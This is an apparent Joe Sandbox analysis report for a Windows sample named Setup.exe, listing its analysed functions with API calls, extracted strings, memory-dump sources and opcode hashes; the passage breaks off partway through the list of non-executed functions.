Instruction Fuzzy Hash: 16219A29A09B8382EE14FB62EC55179F3A0AF84B84F880535EE0D43F95DF3DE4448670

Function 00007FF70C27811C Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF70C278144
_set_statfp.LIBCMT ref: 00007FF70C27815F
_set_statfp.LIBCMT ref: 00007FF70C27817B
_set_statfp.LIBCMT ref: 00007FF70C2781B7

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
Instruction ID: 7c92396783740c29398d9f21ea61f4dc3e0a55c4f5d3885e3ffe7fdf5f73cbdc
Opcode Fuzzy Hash: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
Instruction Fuzzy Hash: B1114F22E1CA0701F664B26CDDDF3B595416F94370E984734EA6E66BDBCF2CA8404175

Function 00007FF70C26A8A8 Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 487COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70C26A8DB

Strings

-, xrefs: 00007FF70C26A93D

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -
API String ID: 3215553584-2547889144
Opcode ID: 5d8b498ff22d46dd9de763e561541730bfc51a7d6dba9380d87361669e0e64bf
Instruction ID: 649281963571d9564b92e2542ec2320085403342e3631118fc943609ccc4bb4c
Opcode Fuzzy Hash: 5d8b498ff22d46dd9de763e561541730bfc51a7d6dba9380d87361669e0e64bf
Instruction Fuzzy Hash: 4A12C325F09143C6FB24FA29D8542B8F296EF50760FD88136D69967BC0DF2CEA50A334

Function 00007FF70C2709D0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 212COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70C270C79

Part of subcall function 00007FF70C26A3E4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70C26A401

Strings

ccs, xrefs: 00007FF70C270BC5
UTF-8, xrefs: 00007FF70C270BFC
UTF-16LEUNICODE, xrefs: 00007FF70C270C1D

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 4e9d8a715f4867a031d96218218279292efbbfaec0b26f01f49837f156af5202
Instruction ID: 8aa9cf362f6d67b0a83140f9f66e7c9a4fd71aa337db871a715c97ae1f423356
Opcode Fuzzy Hash: 4e9d8a715f4867a031d96218218279292efbbfaec0b26f01f49837f156af5202
Instruction Fuzzy Hash: CB81A332D0C24385FB75EA288AD223CEA909F1574CFD46236CA0D42FD5CB6DB9499361

Function 00007FF70C2718CC Relevance: 6.2, APIs: 4, Instructions: 160COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF70C2719B9
_get_daylight.LIBCMT ref: 00007FF70C2719CA
_get_daylight.LIBCMT ref: 00007FF70C2719DB
_isindst.LIBCMT ref: 00007FF70C271AA1

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: cf2a363d9d9d60bb1fd2b7a7062aad5e5d6dc4d724fe27cc3b8d53810e30cd48
Instruction ID: 5c88f4197b3da3c4a5c0fde90d50e347e76a2c27b80756122a6c444d2c4f4e5a
Opcode Fuzzy Hash: cf2a363d9d9d60bb1fd2b7a7062aad5e5d6dc4d724fe27cc3b8d53810e30cd48
Instruction Fuzzy Hash: 9E51E373F046538AFB28EB689DC66BCA7A1AF00398F900235DE1E56FD5CB38A415C710

Function 00007FF70C269094 Relevance: 6.2, APIs: 4, Instructions: 159COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70C2690D5
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70C269155
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70C2691A9
_get_daylight.LIBCMT ref: 00007FF70C269201

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_get_daylight
String ID:
API String ID: 72036449-0
Opcode ID: 287aa2f55fa63f36cf1cebc8650c9ead072f44a6b5d348b2231f5c0341a06890
Instruction ID: 23e2070c3e171c1e5555b93450f9c5a0a7b5f62f12711ec8221812343ec42104
Opcode Fuzzy Hash: 287aa2f55fa63f36cf1cebc8650c9ead072f44a6b5d348b2231f5c0341a06890
Instruction Fuzzy Hash: 8351B032E0C24342F7697A2C8C0937AF791AF40724FA94475DA4D86BDACF3DE8809671

Function 00007FF70C26723C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF70C26726F
GetFileInformationByHandle.KERNEL32 ref: 00007FF70C2672D1
GetLastError.KERNEL32 ref: 00007FF70C267362
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000001,?,00000000,00000000,00007FF70C26717F), ref: 00007FF70C2673AE

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: a45dab95f0394a49ead25b6af34a2d268b91debbe9157e6bb71821f7afc6c7d6
Instruction ID: 63010f96ce23f868efe4437ca4a55e18ed09ecb73c1a9c2ac15785557168a2bc
Opcode Fuzzy Hash: a45dab95f0394a49ead25b6af34a2d268b91debbe9157e6bb71821f7afc6c7d6
Instruction Fuzzy Hash: 26515D22A046428AFB10EF71A8513BDB3A1AF48B58F648135EE0947B89DF38D4918770

Function 00007FF70C25D6C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 145COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70C25D6F6
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70C25D8BE

Strings

, xrefs: 00007FF70C25D846

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-3916222277
Opcode ID: 31a59f69953ad6651beb5c98be7a4087f1f79095f3204978b48eda0e12909333
Instruction ID: e56ce0d46fc80a75f97669da3e761de6e1d5b20775762c4431463c64ba123598
Opcode Fuzzy Hash: 31a59f69953ad6651beb5c98be7a4087f1f79095f3204978b48eda0e12909333
Instruction Fuzzy Hash: 8F51937291C6138AE764AF288A4837EB7A1EF05B18F941135C70A46BD9CF7DE486C721

Function 00007FF70C26D26C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70C26D2AF

Strings

gfff, xrefs: 00007FF70C26D3D1
e+000, xrefs: 00007FF70C26D354

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: c37ddedde2bab3be3496175dc2ceb09d343c47e7f34a0fbb1c1af0881f238d15
Instruction ID: b06ec1b15c4838eed09889765bf3d5a21b1baf7dc2ab92c0dc8de9c51d4f539b
Opcode Fuzzy Hash: c37ddedde2bab3be3496175dc2ceb09d343c47e7f34a0fbb1c1af0881f238d15
Instruction Fuzzy Hash: 23511762B187CB46E7249B399C40369BB91EF41B90F889231C79847FD6CF6DE454CB20

Function 00007FF70C2701D8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF70C2702EF
GetLastError.KERNEL32 ref: 00007FF70C270311

Strings

U, xrefs: 00007FF70C27029B

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: ab9cbe2d27cd6c4d806ab794c500e1b21e064f73e395fdb04b005935f2142ba3
Instruction ID: 347e65d3d6dd8ba25af138836c3fbdc0c0ca7a4f26d3a7b7bdb698d1becdd767
Opcode Fuzzy Hash: ab9cbe2d27cd6c4d806ab794c500e1b21e064f73e395fdb04b005935f2142ba3
Instruction Fuzzy Hash: 0E41B232B19A4682DB60EF25E8853AAB760FF88784F804131EE4D87B98EF7CD445C710

Function 00007FF70C271188 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF70C2711C8
GetCurrentDirectoryW.KERNEL32 ref: 00007FF70C27121A

Strings

:, xrefs: 00007FF70C2711DE

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 1245a43c0e49d46155e94f93a110b76d8e9266dffcd96b95bd485c10dde7cbd5
Instruction ID: 7fa341ce78d084938c58dc8a3ee16880ac5b8981fa14cb5b4928f93174b4a78e
Opcode Fuzzy Hash: 1245a43c0e49d46155e94f93a110b76d8e9266dffcd96b95bd485c10dde7cbd5
Instruction Fuzzy Hash: BA21D532A0829381EB20FB15D89526EB3B2FF84B44FC54235DA4D83B84DF7CD9458660

Function 00007FF70C26B854 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF70C26B88D
CompareStringW.KERNEL32 ref: 00007FF70C26B915

Strings

CompareStringEx, xrefs: 00007FF70C26B870, 00007FF70C26B881

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: CompareStringtry_get_function
String ID: CompareStringEx
API String ID: 3328479835-2590796910
Opcode ID: f5173eea797c8fd49a83a6dc5d9afa66535d54e1dc730693d7c807f149fd71c2
Instruction ID: b8a4e95b35719d4aaa10a6325e84277fc5fcb23286302919dd7a161d4f0966c6
Opcode Fuzzy Hash: f5173eea797c8fd49a83a6dc5d9afa66535d54e1dc730693d7c807f149fd71c2
Instruction Fuzzy Hash: E5113E36608B8186D760DB56B8402AAB7A4FFC9B90F544136EE8D83F59DF3CD444CB50

Function 00007FF70C26BAC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF70C26BAF9
LCMapStringW.KERNEL32 ref: 00007FF70C26BB81

Strings

LCMapStringEx, xrefs: 00007FF70C26BADC, 00007FF70C26BAED

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: ed83ab2a8ecbd43abeb41e42fb4b1ae0a53301fcdf6a2ccaf8e3005eed8b5591
Instruction ID: 565791e6bf38fea825c040bd6adef094c8eeeac9f78f86785ccd4762fa95f122
Opcode Fuzzy Hash: ed83ab2a8ecbd43abeb41e42fb4b1ae0a53301fcdf6a2ccaf8e3005eed8b5591
Instruction Fuzzy Hash: 03110E36608B8186D760DB16B8406AAB7A5FFC9B90F944136EECD83F59DF3CD4548B10

Function 00007FF70C257A14 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70C257A82

Strings

_JAVA_LAUNCHER_DEBUG, xrefs: 00007FF70C257A64
Expanded wildcards: before: "%s" after : "%s", xrefs: 00007FF70C257A78

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: wprintf
String ID: Expanded wildcards: before: "%s" after : "%s"$_JAVA_LAUNCHER_DEBUG
API String ID: 3614878089-730970534
Opcode ID: b2a58926cf1f4fb6458666ac0aceca35dec4c9ddd74ffebdec84f0f40e04f2fd
Instruction ID: 71c4095211cf740bc1dbdda72e50661e1ec14d04ed8b48ba90d64f193a6ea00b
Opcode Fuzzy Hash: b2a58926cf1f4fb6458666ac0aceca35dec4c9ddd74ffebdec84f0f40e04f2fd
Instruction Fuzzy Hash: 63F01910B6964341ED04BB56BE951BAA3519F85FD4FC89034EE0E4BF8AEF3CE5428760

Function 00007FF70C275F6C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70C275F9C

Strings

:, xrefs: 00007FF70C275FB4

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: :
API String ID: 3215553584-336475711
Opcode ID: c1babc72da362b93fe99a1e6373bb2c622cae6ce3b5b9b1ac86d1823f73ca5e7
Instruction ID: 245741bb754ec77f41a47f2153360a260754f45e28ed33d34b214d03d26f3a41
Opcode Fuzzy Hash: c1babc72da362b93fe99a1e6373bb2c622cae6ce3b5b9b1ac86d1823f73ca5e7
Instruction Fuzzy Hash: 9F01622191824786F720FFA498A227EF360EF45704FD04135E54E46B55DF3CD5448A35

Function 00007FF70C26BA5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF70C26BA8D
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00000030,00007FF70C26F5F4,?,?,00000000,00007FF70C26F8A9,?,?,00000000,00000000,00008000,00007FF70C269566), ref: 00007FF70C26BAA7

Strings

InitializeCriticalSectionEx, xrefs: 00007FF70C26BA81

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 121c09a281781e80721105d7d94d03218607644482c6d9c5b1dc19ab7cdcd2aa
Instruction ID: 111224ef36594bc1b30671a45093c4d10faa3c7b65158172c317a3879429505a
Opcode Fuzzy Hash: 121c09a281781e80721105d7d94d03218607644482c6d9c5b1dc19ab7cdcd2aa
Instruction Fuzzy Hash: A9F05E25A1878382E744AB46A9414A5A361FF88B80FC84135EA5D43F58CF3CE859C770

Function 00007FF70C26BA08 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF70C26BA31
TlsSetValue.KERNEL32(?,?,00000000,00007FF70C26CCB2,?,?,00000000,00007FF70C266825,?,?,?,?,00007FF70C26A502,?,?,00000001), ref: 00007FF70C26BA48

Strings

FlsSetValue, xrefs: 00007FF70C26BA1E

Memory Dump Source

Source File: 00000007.00000002.3063085474.00007FF70C251000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF70C250000, based on PE: true

Associated: 00000007.00000002.3062991815.00007FF70C250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063128403.00007FF70C279000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063156085.00007FF70C28A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3063248385.00007FF70C28D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff70c250000_Setup.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 075e012088bc129b343f0eccdaf156853e335ef898808b6c750f3ffbbb915d4c
Instruction ID: 04ff1c203f3aa8c23e5199115c84915115802fe0acd813f2e6940f4abcebbf36
Opcode Fuzzy Hash: 075e012088bc129b343f0eccdaf156853e335ef898808b6c750f3ffbbb915d4c
Instruction Fuzzy Hash: 26E06D61E1864392EA08BB55FD820B5B262EF88B80FC84132D91D46F94CF3CEC98C330

Analysis Process: Setup.exePID: 2820, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	329
Total number of Limit Nodes:	6

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401CB0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000001,?,004056A8,?,00401D78,?,00000000,004014CF,?,00000000), ref: 00401CE1
LoadLibraryA.KERNELBASE(00000000,?,004056A8,?,00401D78,?,00000000,004014CF,?,00000000), ref: 00401CEE
GetProcAddress.KERNEL32(00000000,00000000), ref: 00401D14
OutputDebugStringA.KERNEL32(undef symbol,?,004056A8,?,00401D78,?,00000000,004014CF,?,00000000), ref: 00401D33
__iob_func.MSVCR90 ref: 00401D41
fprintf.MSVCR90 ref: 00401D4B

Strings

undefined symbol %s -> exit(-1), xrefs: 00401D3C
undef symbol, xrefs: 00401D2E

Memory Dump Source

Source File: 0000000A.00000002.3174431344.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3174408334.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174452457.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174473874.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174493910.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Setup.jbxd

Similarity

API ID: AddressDebugHandleLibraryLoadModuleOutputProcString__iob_funcfprintf
String ID: undef symbol$undefined symbol %s -> exit(-1)
API String ID: 3232099167-3880521481
Opcode ID: a62e86013865cb6945eca6c9e6b857a4ad3fd4014c4c712411902039301153c0
Instruction ID: ec091370b392768ebba2b9cbd08fa3fa07ccb6f4dd854fbc632097c7e97f4075
Opcode Fuzzy Hash: a62e86013865cb6945eca6c9e6b857a4ad3fd4014c4c712411902039301153c0
Instruction Fuzzy Hash: 9A11E2B16003029FEB216B699C487677798EFD4351F194437EA82F33B0D778DC958A18

Function 00401350 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 64
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin,80000000,00000001,00000000,00000003,00000080,00000000,?,?,00401464,?), ref: 00401365
GetFileSize.KERNEL32(00000000,00401464,?,?,?,00401464,?), ref: 0040137F
CreateFileMappingA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000), ref: 00401392
CloseHandle.KERNEL32(00000000,?,?,?,00401464,?), ref: 004013A1

Strings

C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin, xrefs: 00401364

Memory Dump Source

Source File: 0000000A.00000002.3174431344.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3174408334.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174452457.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174473874.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174493910.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Setup.jbxd

Similarity

API ID: File$Create$CloseHandleMappingSize
String ID: C:\Users\user\AppData\Roaming\FeGIPCnK\common.bin
API String ID: 3089540790-807292131
Opcode ID: e8d0a1f2787124378ff6857ee086f689d906f27355de188c8710255d9154317e
Instruction ID: 01b989ff9adac1588cbd50fc37617142f0a4378e713b607962af627c2eb096ff
Opcode Fuzzy Hash: e8d0a1f2787124378ff6857ee086f689d906f27355de188c8710255d9154317e
Instruction Fuzzy Hash: B3017172B513107AF63056B8BC4AF9AA798D785B72F21063AFB11FA1D0D6B468005668

Non-executed Functions

Function 00401540 Relevance: 33.3, APIs: 9, Strings: 10, Instructions: 91
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(?,00000001,ZLIB.PYD), ref: 00401556
LoadResource.KERNEL32(?,00000000), ref: 00401562
LockResource.KERNEL32(00000000), ref: 00401571

